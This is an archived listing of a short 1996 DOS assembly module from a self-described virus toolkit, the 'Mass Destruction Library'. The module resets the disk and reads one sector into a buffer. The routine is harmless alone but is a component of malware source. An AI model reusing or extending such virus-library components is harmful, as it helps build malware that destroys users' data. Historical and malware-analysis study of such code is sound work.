home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / VXAVTOOL.ZIP / EXEC-VIR.ZIP / MDL.ZIP / LOAD_SEC.ASM < prev    next >
Encoding:
Assembly Source File  |  1996-02-27  |  725 b   |  26 lines

  1. ;LOAD_SEC - module for Mass Destruction Library
  2. ;written by Evil Avatar
  3. .model tiny
  4. .code
  5. public load_sec, sec_buf
  6.  
  7. load_sec:
  8.         push cx
  9.         push ds               ;save regs that will be changed
  10.         push ax               ;save drive number
  11.         push cs
  12.         pop ds
  13.         push cs
  14.         pop es                ;make es and ds the same as cs
  15.         mov ax, 0dh
  16.         int 21h               ;reset disk
  17.         pop ax                ;restore drive number
  18.         mov cx, 1
  19.         mov bx, offset sec_buf
  20.         int 25h               ;read sector into buffer
  21.         pop ds
  22.         pop cx
  23.         ret                   ;restore regs and return
  24. sec_buf dw 100h dup(?)
  25. end load_sec
  26.